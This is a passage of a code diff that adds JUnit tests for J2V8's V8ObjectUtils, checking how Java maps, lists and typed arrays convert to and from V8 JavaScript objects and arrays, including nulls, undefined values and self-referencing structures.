+    public void testCreateNestedMapFromV8Object() {
+        V8Object object = v8.executeObjectScript("x = { name : { first :'john', last: 'smith'}, age: 7}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object);
+
+        assertEquals(2, map.size());
+        assertEquals(7, map.get("age"));
+        assertEquals("john", ((Map) map.get("name")).get("first"));
+        assertEquals("smith", ((Map) map.get("name")).get("last"));
+        object.close();
+    }
+
+    @Test
+    public void testCreateListFromV8Array() {
+        V8Array array = v8.executeArrayScript("x = [1,2,3]; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array);
+
+        assertEquals(3, list.size());
+        assertEquals(1, list.get(0));
+        assertEquals(2, list.get(1));
+        assertEquals(3, list.get(2));
+        array.close();
+    }
+
+    @Test
+    public void testCreateListWithUndefinedFromV8Array() {
+        V8Array array = v8.executeArrayScript("x = [1,2,3]; x[9] = 10; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array);
+
+        assertEquals(10, list.size());
+        assertEquals(1, list.get(0));
+        assertEquals(2, list.get(1));
+        assertEquals(3, list.get(2));
+        assertTrue(((V8Value) list.get(3)).isUndefined());
+        assertTrue(((V8Value) list.get(4)).isUndefined());
+        assertTrue(((V8Value) list.get(5)).isUndefined());
+        assertTrue(((V8Value) list.get(6)).isUndefined());
+        assertTrue(((V8Value) list.get(7)).isUndefined());
+        assertTrue(((V8Value) list.get(8)).isUndefined());
+        assertEquals(10, list.get(9));
+        array.close();
+    }
+
+    @Test
+    public void testCreateListWithNullFromV8Array() {
+        V8Array array = v8.executeArrayScript("x = [null]; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array);
+
+        assertEquals(1, list.size());
+        assertNull(list.get(0));
+        array.close();
+    }
+
+    @SuppressWarnings("rawtypes")
+    @Test
+    public void testCreateMatrixFromV8Array() {
+        V8Array array = v8.executeArrayScript("x = [[1,2,3],[true,false,true],['this','that','other']]; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array);
+
+        assertEquals(3, list.size());
+        assertEquals(3, ((List) list.get(0)).size());
+        assertEquals(3, ((List) list.get(1)).size());
+        assertEquals(3, ((List) list.get(2)).size());
+        assertEquals(1, ((List) list.get(0)).get(0));
+        assertEquals(2, ((List) list.get(0)).get(1));
+        assertEquals(3, ((List) list.get(0)).get(2));
+        assertTrue((Boolean) ((List) list.get(1)).get(0));
+        assertFalse((Boolean) ((List) list.get(1)).get(1));
+        assertTrue((Boolean) ((List) list.get(1)).get(2));
+        assertEquals("this", ((List) list.get(2)).get(0));
+        assertEquals("that", ((List) list.get(2)).get(1));
+        assertEquals("other", ((List) list.get(2)).get(2));
+        array.close();
+    }
+
+    @SuppressWarnings("rawtypes")
+    @Test
+    public void testCreateMapWithLists() {
+        V8Object object = v8.executeObjectScript("x = {a:[1,2,3], b:[4,5,6]}; x;");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object);
+
+        assertEquals(2, map.size());
+        assertEquals(1, ((List) map.get("a")).get(0));
+        assertEquals(2, ((List) map.get("a")).get(1));
+        assertEquals(3, ((List) map.get("a")).get(2));
+        assertEquals(4, ((List) map.get("b")).get(0));
+        assertEquals(5, ((List) map.get("b")).get(1));
+        assertEquals(6, ((List) map.get("b")).get(2));
+        object.close();
+    }
+
+    @Test
+    public void testCreateMapWithNulls() {
+        V8Object object = v8.executeObjectScript("x = {a:null}; x;");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object);
+
+        assertEquals(1, map.size());
+        assertNull(map.get("a"));
+        object.close();
+    }
+
+    @Test
+    public void testCreateV8ObjectFromStringMap() {
+        Map<String, String> map = new HashMap<String, String>();
+        map.put("first", "john");
+        map.put("last", "smith");
+
+        int size = registerAndRelease("result", map);
+
+        assertEquals(2, size);
+        assertEquals("john", v8.executeStringScript("result.first"));
+        assertEquals("smith", v8.executeStringScript("result['last']"));
+    }
+
+    @Test
+    public void testCreateV8ObjectFromIntegerMap() {
+        Map<String, Integer> map = new HashMap<String, Integer>();
+        map.put("a", 1);
+        map.put("b", 3);
+
+        int size = registerAndRelease("result", map);
+
+        assertEquals(2, size);
+        assertEquals(1, v8.executeIntegerScript("result.a"));
+        assertEquals(3, v8.executeIntegerScript("result['b']"));
+    }
+
+    @Test
+    public void testCreateV8ObjectFromLongMap() {
+        Map<String, Long> map = new HashMap<String, Long>();
+        map.put("a", 1L);
+        map.put("b", 3L);
+
+        int size = registerAndRelease("result", map);
+
+        assertEquals(2, size);
+        assertEquals(1, v8.executeIntegerScript("result.a"));
+        assertEquals(3, v8.executeIntegerScript("result['b']"));
+    }
+
+    @Test
+    public void testCreateV8ObjectFromLongTimestampMap() {
+        Map<String, Long> map = new HashMap<String, Long>();
+        map.put("a", 1477486236000L);
+
+        int size = registerAndRelease("result", map);
+
+        assertEquals(1, size);
+        assertEquals(1477486236000L, (long) v8.executeDoubleScript("result.a"));
+    }
+
+    @Test
+    public void testCreateV8ObjectFromMaxLongMap() {
+        Map<String, Long> map = new HashMap<String, Long>();
+        map.put("a", Long.MAX_VALUE);
+        map.put("b", Long.MIN_VALUE);
+
+        int size = registerAndRelease("result", map);
+
+        assertEquals(2, size);
+        assertEquals(Long.MAX_VALUE, (long) v8.executeDoubleScript("result.a"));
+        assertEquals(Long.MIN_VALUE, (long) v8.executeDoubleScript("result.b"));
+    }
+
+    @Test
+    public void testCreateV8ObjectFromDoubleMap() {
+        Map<String, Double> map = new HashMap<String, Double>();
+        map.put("a", 1.1);
+        map.put("b", 3.14159);
+        map.put("c", 4.999);
+
+        int size = registerAndRelease("result", map);
+
+        assertEquals(3, size);
+        assertEquals(1.1, v8.executeDoubleScript("result.a"), 0.000001);
+        assertEquals(3.14159, v8.executeDoubleScript("result['b']"), 0.000001);
+        assertEquals(4.999, v8.executeDoubleScript("result['c']"), 0.000001);
+    }
+
+    @Test
+    public void testCreateV8ObjectFromFloatMap() {
+        Map<String, Float> map = new HashMap<String, Float>();
+        map.put("a", 1.1f);
+        map.put("b", 3.14159f);
+        map.put("c", 4.999f);
+
+        int size = registerAndRelease("result", map);
+
+        assertEquals(3, size);
+        assertEquals(1.1, v8.executeDoubleScript("result.a"), 0.000001);
+        assertEquals(3.14159, v8.executeDoubleScript("result['b']"), 0.000001);
+        assertEquals(4.999, v8.executeDoubleScript("result['c']"), 0.000001);
+    }
+
+    @Test
+    public void testCreateV8ObjectFromBooleanMap() {
+        Map<String, Boolean> map = new HashMap<String, Boolean>();
+        map.put("a", true);
+        map.put("b", true);
+        map.put("c", false);
+
+        int size = registerAndRelease("result", map);
+
+        assertEquals(3, size);
+        assertTrue(v8.executeBooleanScript("result.a"));
+        assertTrue(v8.executeBooleanScript("result['b']"));
+        assertFalse(v8.executeBooleanScript("result['c']"));
+    }
+
+    @Test
+    public void testCreatev8ObjectWithNulls() {
+        Map<String, Boolean> map = new HashMap<String, Boolean>();
+        map.put("a", true);
+        map.put("b", null);
+
+        int size = registerAndRelease("result", map);
+
+        assertTrue(v8.executeBooleanScript("result.a"));
+        assertTrue(v8.executeBooleanScript("typeof result.b === 'undefined'"));
+        assertEquals(2, size);
+    }
+
+    @Test
+    public void testCreateV8ObjectFromMixedMap() {
+        Map<String, Object> map = new HashMap<String, Object>();
+        map.put("boolean", true);
+        map.put("integer", 7);
+        map.put("double", 3.14159);
+        map.put("String", "hello");
+        map.put("undefined", null);
+
+        int size = registerAndRelease("result", map);
+
+        assertEquals(5, size);
+        V8Object object = v8.getObject("result");
+        assertTrue(object.getBoolean("boolean"));
+        assertEquals(7, object.getInteger("integer"));
+        assertEquals(3.14159, object.getDouble("double"), 0.000001);
+        assertEquals("hello", object.getString("String"));
+        assertEquals(V8Value.UNDEFINED, object.getType("undefined"));
+        object.close();
+    }
+
+    @Test
+    public void testCreateV8ArrayFromIntegerList() {
+        List<Integer> list = new ArrayList<Integer>();
+        list.add(1);
+        list.add(1);
+        for (int i = 2; i < 10; i++) {
+            list.add(list.get(i - 1) + list.get(i - 2));
+        }
+
+        int size = registerAndRelease("result", list);
+
+        assertEquals(10, size);
+        assertEquals(1, v8.executeIntegerScript("result[0]"));
+        assertEquals(1, v8.executeIntegerScript("result[1]"));
+        assertEquals(2, v8.executeIntegerScript("result[2]"));
+        assertEquals(3, v8.executeIntegerScript("result[3]"));
+        assertEquals(5, v8.executeIntegerScript("result[4]"));
+        assertEquals(8, v8.executeIntegerScript("result[5]"));
+        assertEquals(13, v8.executeIntegerScript("result[6]"));
+        assertEquals(21, v8.executeIntegerScript("result[7]"));
+        assertEquals(34, v8.executeIntegerScript("result[8]"));
+        assertEquals(55, v8.executeIntegerScript("result[9]"));
+    }
+
+    @Test
+    public void testCreateV8ArrayFromLongList() {
+        List<Long> list = new ArrayList<Long>();
+        list.add((long) 1);
+
+        int size = registerAndRelease("result", list);
+
+        assertEquals(1, size);
+        assertEquals(1, v8.executeIntegerScript("result[0]"));
+    }
+
+    @Test
+    public void testCreateV8ArrayFromMaxValueLong() {
+        List<Long> list = new ArrayList<Long>();
+        list.add(Long.MAX_VALUE);
+
+        int size = registerAndRelease("result", list);
+
+        assertEquals(1, size);
+        assertEquals(Long.MAX_VALUE, v8.executeDoubleScript("result[0]"), 0.0000001);
+    }
+
+    @Test
+    public void testCreateV8ArrayFromFloatList() {
+        List<Float> list = new ArrayList<Float>();
+        list.add(1.1f);
+
+        int size = registerAndRelease("result", list);
+
+        assertEquals(1, size);
+        assertEquals(1.1, v8.executeDoubleScript("result[0]"), 0.0000001);
+    }
+
+    @Test
+    public void testCreateV8ArrayFromDoubleList() {
+        List<Double> list = new ArrayList<Double>();
+        list.add(3.14159);
+        list.add(4.1);
+        list.add(5.3);
+
+        int size = registerAndRelease("result", list);
+
+        assertEquals(3, size);
+        assertEquals(3.14159, v8.executeDoubleScript("result[0]"), 0.000001);
+        assertEquals(4.1, v8.executeDoubleScript("result[1]"), 0.000001);
+        assertEquals(5.3, v8.executeDoubleScript("result[2]"), 0.000001);
+    }
+
+    @Test
+    public void testCreateV8ArrayFromBooleanList() {
+        List<Boolean> list = new ArrayList<Boolean>();
+        list.add(true);
+        list.add(false);
+
+        int size = registerAndRelease("result", list);
+
+        assertEquals(2, size);
+        assertTrue(v8.executeBooleanScript("result[0]"));
+        assertFalse(v8.executeBooleanScript("result[1]"));
+    }
+
+    @Test
+    public void testCreateV8ArrayFromStringList() {
+        List<String> list = new ArrayList<String>();
+        list.add("hello");
+        list.add("world");
+
+        int size = registerAndRelease("result", list);
+
+        assertEquals(2, size);
+        assertEquals("hello", v8.executeStringScript("result[0]"));
+        assertEquals("world", v8.executeStringScript("result[1]"));
+    }
+
+    @Test
+    public void testCreateV8ArrayWithNullValues() {
+        List<String> list = new ArrayList<String>();
+        list.add("hello");
+        list.add(null);
+        list.add("world");
+
+        int size = registerAndRelease("result", list);
+
+        assertEquals(3, size);
+        assertEquals("hello", v8.executeStringScript("result[0]"));
+        assertTrue(v8.executeBooleanScript("typeof result[1] === 'undefined'"));
+        assertEquals("world", v8.executeStringScript("result[2]"));
+    }
+
+    @Test
+    public void testCreateV8AraryFromMixedList() {
+        List<Object> list = new ArrayList<Object>();
+        list.add("string");
+        list.add(7);
+        list.add(3.14159);
+        list.add(true);
+        list.add(null);
+
+        int size = registerAndRelease("result", list);
+
+        assertEquals(5, size);
+        assertEquals("string", v8.executeStringScript("result[0]"));
+        assertEquals(7, v8.executeIntegerScript("result[1]"));
+        assertEquals(3.14159, v8.executeDoubleScript("result[2]"), 0.000001);
+        assertTrue(v8.executeBooleanScript("result[3]"));
+        assertTrue(v8.executeBooleanScript("typeof result[4] === 'undefined'"));
+    }
+
+    @Test
+    public void testCreateV8ArrayOfMaps() {
+        List<Map<String, Integer>> list = new ArrayList<Map<String, Integer>>();
+        Map<String, Integer> m1 = new HashMap<String, Integer>();
+        m1.put("Sadie", 7);
+        m1.put("Lily", 5);
+        m1.put("Maggie", 3);
+        Map<String, Integer> m2 = new HashMap<String, Integer>();
+        m2.put("Ian", 38);
+        list.add(m1);
+        list.add(m2);
+
+        int size = registerAndRelease("result", list);
+
+        assertEquals(2, size);
+        assertEquals(7, v8.executeIntegerScript("result[0].Sadie"));
+        assertEquals(5, v8.executeIntegerScript("result[0].Lily"));
+        assertEquals(3, v8.executeIntegerScript("result[0].Maggie"));
+        assertEquals(38, v8.executeIntegerScript("result[1].Ian"));
+    }
+
+    @Test
+    public void testCreatev8ArrayFromMatrix() {
+        List<List<Integer>> matrix = new ArrayList<List<Integer>>();
+        List<Integer> l1 = new ArrayList<Integer>();
+        l1.add(1);
+        l1.add(2);
+        l1.add(3);
+        List<Integer> l2 = new ArrayList<Integer>();
+        l2.add(4);
+        l2.add(5);
+        l2.add(6);
+        List<Integer> l3 = new ArrayList<Integer>();
+        l3.add(7);
+        l3.add(8);
+        l3.add(9);
+        matrix.add(l1);
+        matrix.add(l2);
+        matrix.add(l3);
+
+        int size = registerAndRelease("result", matrix);
+        assertEquals(3, size);
+        assertEquals(3, v8.executeIntegerScript("result[0].length"));
+        assertEquals(3, v8.executeIntegerScript("result[1].length"));
+        assertEquals(3, v8.executeIntegerScript("result[2].length"));
+        assertEquals(1, v8.executeIntegerScript("result[0][0]"));
+        assertEquals(2, v8.executeIntegerScript("result[0][1]"));
+        assertEquals(3, v8.executeIntegerScript("result[0][2]"));
+        assertEquals(4, v8.executeIntegerScript("result[1][0]"));
+        assertEquals(5, v8.executeIntegerScript("result[1][1]"));
+        assertEquals(6, v8.executeIntegerScript("result[1][2]"));
+        assertEquals(7, v8.executeIntegerScript("result[2][0]"));
+        assertEquals(8, v8.executeIntegerScript("result[2][1]"));
+        assertEquals(9, v8.executeIntegerScript("result[2][2]"));
+    }
+
+    @Test
+    public void testCreateV8ObjectFromMapOfLists() {
+        Map<String, List<String>> map = new HashMap<String, List<String>>();
+        List<String> l1 = new ArrayList<String>();
+        l1.add("first");
+        l1.add("second");
+        l1.add("third");
+        List<String> l2 = new ArrayList<String>();
+        l2.add("a");
+        l2.add("b");
+        l2.add("c");
+        List<String> l3 = new ArrayList<String>();
+        l3.add("dog");
+        l3.add("cat");
+        map.put("numbers", l1);
+        map.put("letters", l2);
+        map.put("animals", l3);
+
+        int size = registerAndRelease("result", map);
+
+        assertEquals(3, size);
+        assertEquals("first", v8.executeStringScript("result.numbers[0]"));
+        assertEquals("second", v8.executeStringScript("result.numbers[1]"));
+        assertEquals("third", v8.executeStringScript("result.numbers[2]"));
+        assertEquals("a", v8.executeStringScript("result.letters[0]"));
+        assertEquals("b", v8.executeStringScript("result.letters[1]"));
+        assertEquals("c", v8.executeStringScript("result.letters[2]"));
+        assertEquals("dog", v8.executeStringScript("result.animals[0]"));
+        assertEquals("cat", v8.executeStringScript("result.animals[1]"));
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testCreateV8ObjectWithInvalidContents() {
+        Map<String, Object> map = new HashMap<String, Object>();
+        map.put("first", new Date());
+
+        registerAndRelease("result", map);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testCreateV8ArrayWithInvalidContents() {
+        List<Object> list = new ArrayList<Object>();
+        list.add(new Date());
+
+        registerAndRelease("result", list);
+    }
+
+    @Test
+    public void testNullObjectGivesEmptyMap() {
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(null);
+
+        assertNotNull(map);
+        assertEquals(0, map.size());
+    }
+
+    @Test
+    public void testNullArrayGivesEmptyMap() {
+        List<? super Object> list = V8ObjectUtils.toList(null);
+
+        assertNotNull(list);
+        assertEquals(0, list.size());
+    }
+
+    @Test
+    public void testGetIntValueFromArray() {
+        V8Array array = v8.executeArrayScript("[1,2,3,4,5]");
+
+        assertEquals(1, V8ObjectUtils.getValue(array, 0));
+        array.close();
+    }
+
+    @Test
+    public void testGetDoubleValueFromArray() {
+        V8Array array = v8.executeArrayScript("[1.2,2.2,3.3,4.4,5.5]");
+
+        assertEquals(4.4, V8ObjectUtils.getValue(array, 3));
+        array.close();
+    }
+
+    @Test
+    public void testGetStringValueFromArray() {
+        V8Array array = v8.executeArrayScript("['string']");
+
+        assertEquals("string", V8ObjectUtils.getValue(array, 0));
+        array.close();
+    }
+
+    @Test
+    public void testGetBooleanValueFromArray() {
+        V8Array array = v8.executeArrayScript("[true, false]");
+
+        assertEquals(Boolean.TRUE, V8ObjectUtils.getValue(array, 0));
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testGetMapValueFromArray() {
+        V8Array array = v8.executeArrayScript("[{a:'b', c:'d'}]");
+
+        assertTrue(V8ObjectUtils.getValue(array, 0) instanceof Map<?, ?>);
+        assertEquals("b", ((Map<String, Object>) V8ObjectUtils.getValue(array, 0)).get("a"));
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testGetArrayValueFromArray() {
+        V8Array array = v8.executeArrayScript("[[1,2,3]]");
+
+        assertTrue(V8ObjectUtils.getValue(array, 0) instanceof List<?>);
+        assertEquals(1, ((List<Object>) V8ObjectUtils.getValue(array, 0)).get(0));
+        array.close();
+    }
+
+    @Test
+    public void testGetV8ResultInteger() {
+        Object result = V8ObjectUtils.getV8Result(v8, new Integer(77));
+
+        assertEquals(77, result);
+    }
+
+    @Test
+    public void testGetV8ResultDouble() {
+        Object result = V8ObjectUtils.getV8Result(v8, new Double(77.7));
+
+        assertEquals(77.7, result);
+    }
+
+    @Test
+    public void testGetV8ResultFloat() {
+        Object result = V8ObjectUtils.getV8Result(v8, new Float(77.7));
+
+        assertEquals(77.7f, result);
+    }
+
+    @Test
+    public void testGetV8ResultString() {
+        Object result = V8ObjectUtils.getV8Result(v8, "Seven");
+
+        assertEquals("Seven", result);
+    }
+
+    @Test
+    public void testGetV8ResultNull() {
+        Object result = V8ObjectUtils.getV8Result(v8, null);
+
+        assertNull(result);
+    }
+
+    @Test
+    public void testGetV8ResultUndefined() {
+        Object result = V8ObjectUtils.getV8Result(v8, V8.getUndefined());
+
+        assertEquals(V8.getUndefined(), result);
+    }
+
+    @Test
+    public void testGetV8ResultTrue() {
+        Object result = V8ObjectUtils.getV8Result(v8, Boolean.TRUE);
+
+        assertEquals(true, result);
+    }
+
+    @Test
+    public void testGetV8ResultObject() {
+        Map<String, Object> map = new HashMap<String, Object>();
+        map.put("foo", "bar");
+        Object result = V8ObjectUtils.getV8Result(v8, map);
+
+        assertTrue(result instanceof V8Object);
+        assertEquals("bar", ((V8Object) result).getString("foo"));
+        ((V8Object) result).close();
+    }
+
+    @Test
+    public void testGetV8ResultArray() {
+        List<Object> list = new ArrayList<Object>();
+        list.add(1);
+        list.add("two");
+        Object result = V8ObjectUtils.getV8Result(v8, list);
+
+        assertTrue(result instanceof V8Array);
+        assertEquals(2, ((V8Array) result).length());
+        assertEquals(1, ((V8Array) result).getInteger(0));
+        assertEquals("two", ((V8Array) result).getString(1));
+        ((V8Object) result).close();
+    }
+
+    @Test
+    public void testPushInteger() {
+        V8Array array = new V8Array(v8);
+
+        V8ObjectUtils.pushValue(v8, array, 7);
+
+        assertEquals(7, array.getInteger(0));
+        array.close();
+    }
+
+    @Test
+    public void testPushDouble() {
+        V8Array array = new V8Array(v8);
+
+        V8ObjectUtils.pushValue(v8, array, 7.8);
+
+        assertEquals(7.8, array.getDouble(0), 0.000001);
+        array.close();
+    }
+
+    @Test
+    public void testPushBoolean() {
+        V8Array array = new V8Array(v8);
+
+        V8ObjectUtils.pushValue(v8, array, true);
+
+        assertTrue(array.getBoolean(0));
+        array.close();
+    }
+
+    @Test
+    public void testPushString() {
+        V8Array array = new V8Array(v8);
+
+        V8ObjectUtils.pushValue(v8, array, "string");
+
+        assertEquals("string", array.getString(0));
+        array.close();
+    }
+
+    @Test
+    public void testPushMap() {
+        V8Array array = new V8Array(v8);
+        Map<String, String> map = new HashMap<String, String>();
+        map.put("foo", "bar");
+
+        V8ObjectUtils.pushValue(v8, array, map);
+
+        V8Object result = array.getObject(0);
+        assertEquals("bar", result.getString("foo"));
+        result.close();
+        array.close();
+    }
+
+    @Test
+    public void testPushList() {
+        V8Array array = new V8Array(v8);
+        List<String> list = new ArrayList<String>();
+        list.add("one");
+
+        V8ObjectUtils.pushValue(v8, array, list);
+
+        V8Array result = array.getArray(0);
+        assertEquals("one", result.getString(0));
+        result.close();
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromIntegerArray() {
+        V8Array array = v8.executeArrayScript("[1,2,3,4]");
+
+        int[] result = (int[]) V8ObjectUtils.getTypedArray(array, V8Value.INTEGER);
+
+        assertEquals(4, result.length);
+        assertEquals(1, result[0]);
+        assertEquals(2, result[1]);
+        assertEquals(3, result[2]);
+        assertEquals(4, result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromDoubleArray() {
+        V8Array array = v8.executeArrayScript("[1,2,3,4.4]");
+
+        double[] result = (double[]) V8ObjectUtils.getTypedArray(array, V8Value.DOUBLE);
+
+        assertEquals(4, result.length);
+        assertEquals(1.0, result[0], 0.000001);
+        assertEquals(2.0, result[1], 0.000001);
+        assertEquals(3.0, result[2], 0.000001);
+        assertEquals(4.4, result[3], 0.000001);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromBooleanArray() {
+        V8Array array = v8.executeArrayScript("[true, false, false, true]");
+
+        boolean[] result = (boolean[]) V8ObjectUtils.getTypedArray(array, V8Value.BOOLEAN);
+
+        assertEquals(4, result.length);
+        assertTrue(result[0]);
+        assertFalse(result[1]);
+        assertFalse(result[2]);
+        assertTrue(result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromStringArray() {
+        V8Array array = v8.executeArrayScript("['one', 'two', 'three', 'four']");
+
+        String[] result = (String[]) V8ObjectUtils.getTypedArray(array, V8Value.STRING);
+
+        assertEquals(4, result.length);
+        assertEquals("one", result[0]);
+        assertEquals("two", result[1]);
+        assertEquals("three", result[2]);
+        assertEquals("four", result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromExistingIntArray() {
+        V8Array array = v8.executeArrayScript("[1,2,3,4,5]");
+        int[] result = new int[1000];
+
+        V8ObjectUtils.getTypedArray(array, V8Value.INTEGER, result);
+
+        assertEquals(1000, result.length);
+        assertEquals(1, result[0]);
+        assertEquals(2, result[1]);
+        assertEquals(3, result[2]);
+        assertEquals(4, result[3]);
+        assertEquals(5, result[4]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromNonExistingIntArray() {
+        V8Array array = v8.executeArrayScript("[1,2,3,4,5]");
+
+        int[] result = (int[]) V8ObjectUtils.getTypedArray(array, V8Value.INTEGER, null);
+
+        assertEquals(5, result.length);
+        assertEquals(1, result[0]);
+        assertEquals(2, result[1]);
+        assertEquals(3, result[2]);
+        assertEquals(4, result[3]);
+        assertEquals(5, result[4]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromSmallExistingIntArray() {
+        V8Array array = v8.executeArrayScript("[1,2,3,4,5]");
+        int[] result = new int[4];
+
+        result = (int[]) V8ObjectUtils.getTypedArray(array, V8Value.INTEGER, null);
+
+        assertEquals(5, result.length);
+        assertEquals(1, result[0]);
+        assertEquals(2, result[1]);
+        assertEquals(3, result[2]);
+        assertEquals(4, result[3]);
+        assertEquals(5, result[4]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromExistingDoubleArray() {
+        V8Array array = v8.executeArrayScript("[1.1,2.2,3,4,5]");
+        double[] result = new double[1000];
+
+        V8ObjectUtils.getTypedArray(array, V8Value.DOUBLE, result);
+
+        assertEquals(1000, result.length);
+        assertEquals(1.1, result[0], 0.000001);
+        assertEquals(2.2, result[1], 0.000001);
+        assertEquals(3, result[2], 0.000001);
+        assertEquals(4, result[3], 0.000001);
+        assertEquals(5, result[4], 0.000001);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromNonExistingDoubleArray() {
+        V8Array array = v8.executeArrayScript("[1.1,2.2,3,4,5]");
+
+        double[] result = (double[]) V8ObjectUtils.getTypedArray(array, V8Value.DOUBLE, null);
+
+        assertEquals(5, result.length);
+        assertEquals(1.1, result[0], 0.000001);
+        assertEquals(2.2, result[1], 0.000001);
+        assertEquals(3, result[2], 0.000001);
+        assertEquals(4, result[3], 0.000001);
+        assertEquals(5, result[4], 0.000001);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromSmallExistingDoubleArray() {
+        V8Array array = v8.executeArrayScript("[1.1,2.2,3,4,5.5]");
+        double[] result = new double[4];
+
+        result = (double[]) V8ObjectUtils.getTypedArray(array, V8Value.DOUBLE, null);
+
+        assertEquals(5, result.length);
+        assertEquals(1.1, result[0], 0.000001);
+        assertEquals(2.2, result[1], 0.000001);
+        assertEquals(3, result[2], 0.000001);
+        assertEquals(4, result[3], 0.000001);
+        assertEquals(5.5, result[4], 0.000001);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromExistingByteArray() {
+        V8Array array = v8.executeArrayScript("[0, 1, 2, 256]");
+        byte[] result = new byte[1000];
+
+        V8ObjectUtils.getTypedArray(array, V8Value.BYTE, result);
+
+        assertEquals(1000, result.length);
+        assertEquals(0, result[0]);
+        assertEquals(1, result[1]);
+        assertEquals(2, result[2]);
+        assertEquals(0, result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromExistingBooleanArray() {
+        V8Array array = v8.executeArrayScript("[true, true, false, false]");
+        boolean[] result = new boolean[1000];
+
+        V8ObjectUtils.getTypedArray(array, V8Value.BOOLEAN, result);
+
+        assertEquals(1000, result.length);
+        assertTrue(result[0]);
+        assertTrue(result[1]);
+        assertFalse(result[2]);
+        assertFalse(result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromNonExistingByteArray() {
+        V8Array array = v8.executeArrayScript("[0, 1, 2, 256]");
+
+        byte[] result = (byte[]) V8ObjectUtils.getTypedArray(array, V8Value.BYTE, null);
+
+        assertEquals(4, result.length);
+        assertEquals(0, result[0]);
+        assertEquals(1, result[1]);
+        assertEquals(2, result[2]);
+        assertEquals(0, result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromNonExistingBooleanArray() {
+        V8Array array = v8.executeArrayScript("[true, true, false, false]");
+
+        boolean[] result = (boolean[]) V8ObjectUtils.getTypedArray(array, V8Value.BOOLEAN, null);
+
+        assertEquals(4, result.length);
+        assertTrue(result[0]);
+        assertTrue(result[1]);
+        assertFalse(result[2]);
+        assertFalse(result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromSmallExistingBooleanArray() {
+        V8Array array = v8.executeArrayScript("[true, true, false, false]");
+        boolean[] result = new boolean[4];
+
+        result = (boolean[]) V8ObjectUtils.getTypedArray(array, V8Value.BOOLEAN, null);
+
+        assertEquals(4, result.length);
+        assertTrue(result[0]);
+        assertTrue(result[1]);
+        assertFalse(result[2]);
+        assertFalse(result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromExistingStringArray() {
+        V8Array array = v8.executeArrayScript("['a', 'b', 'c', 'z']");
+        String[] result = new String[1000];
+
+        V8ObjectUtils.getTypedArray(array, V8Value.STRING, result);
+
+        assertEquals(1000, result.length);
+        assertEquals("a", result[0]);
+        assertEquals("b", result[1]);
+        assertEquals("c", result[2]);
+        assertEquals("z", result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromNonExistingStringArray() {
+        V8Array array = v8.executeArrayScript("['a', 'b', 'c', 'z']");
+
+        String[] result = (String[]) V8ObjectUtils.getTypedArray(array, V8Value.STRING, null);
+
+        assertEquals(4, result.length);
+        assertEquals("a", result[0]);
+        assertEquals("b", result[1]);
+        assertEquals("c", result[2]);
+        assertEquals("z", result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testPopulateFromSmallExistingStringArray() {
+        V8Array array = v8.executeArrayScript("['a', 'b', 'c', 'z']");
+        String[] result = new String[4];
+
+        result = (String[]) V8ObjectUtils.getTypedArray(array, V8Value.STRING, null);
+
+        assertEquals(4, result.length);
+        assertEquals("a", result[0]);
+        assertEquals("b", result[1]);
+        assertEquals("c", result[2]);
+        assertEquals("z", result[3]);
+        array.close();
+    }
+
+    @Test
+    public void testListContainsSelf() {
+        List<Object> list = new ArrayList<Object>();
+        list.add(list);
+
+        V8Array v8Array = V8ObjectUtils.toV8Array(v8, list);
+        V8Object self = v8Array.getObject(0);
+
+        assertEquals(v8Array, self);
+        self.close();
+        v8Array.close();
+    }
+
+    @Test
+    public void testMapContainsSelf() {
+        Map<String, Object> map = new Hashtable<String, Object>();
+        map.put("self", map);
+        map.put("self2", map);
+        map.put("self3", map);
+
+        V8Object v8Object = V8ObjectUtils.toV8Object(v8, map);
+        V8Object self = v8Object.getObject("self");
+
+        assertEquals(v8Object, self);
+        assertEquals(3, v8Object.getKeys().length);
+        v8Object.close();
+        self.close();
+    }
+
+    //@Test
+    public void testParentChildMap() {
+        Map<String, Object> parent = new Hashtable<String, Object>();
+        Map<String, Object> child = new Hashtable<String, Object>();
+        parent.put("child", child);
+        child.put("parent", parent);
+
+        V8Object v8Object = V8ObjectUtils.toV8Object(v8, parent);
+        V8Object v8_child = v8Object.getObject("child");
+        V8Object v8_parent = v8_child.getObject("parent");
+
+        assertEquals(v8Object, v8_parent);
+        v8Object.close();
+        v8_child.close();
+        v8_parent.close();
+    }
+
+    @Test
+    public void testV8ArrayContainsSelf() {
+        V8Array v8Array = new V8Array(v8);
+        v8Array.push(v8Array);
+
+        List<Object> list = V8ObjectUtils.toList(v8Array);
+
+        assertEquals(list, list.get(0));
+        v8Array.close();
+    }
+
+    @Test
+    public void testV8ObjectContainsSelf() {
+        V8Object v8Object = new V8Object(v8);
+        v8Object.add("self", v8Object);
+
+        Map<String, Object> map = V8ObjectUtils.toMap(v8Object);
+
+        assertEquals(map, map.get("self"));
+        assertEquals(map.hashCode(), map.get("self").hashCode());
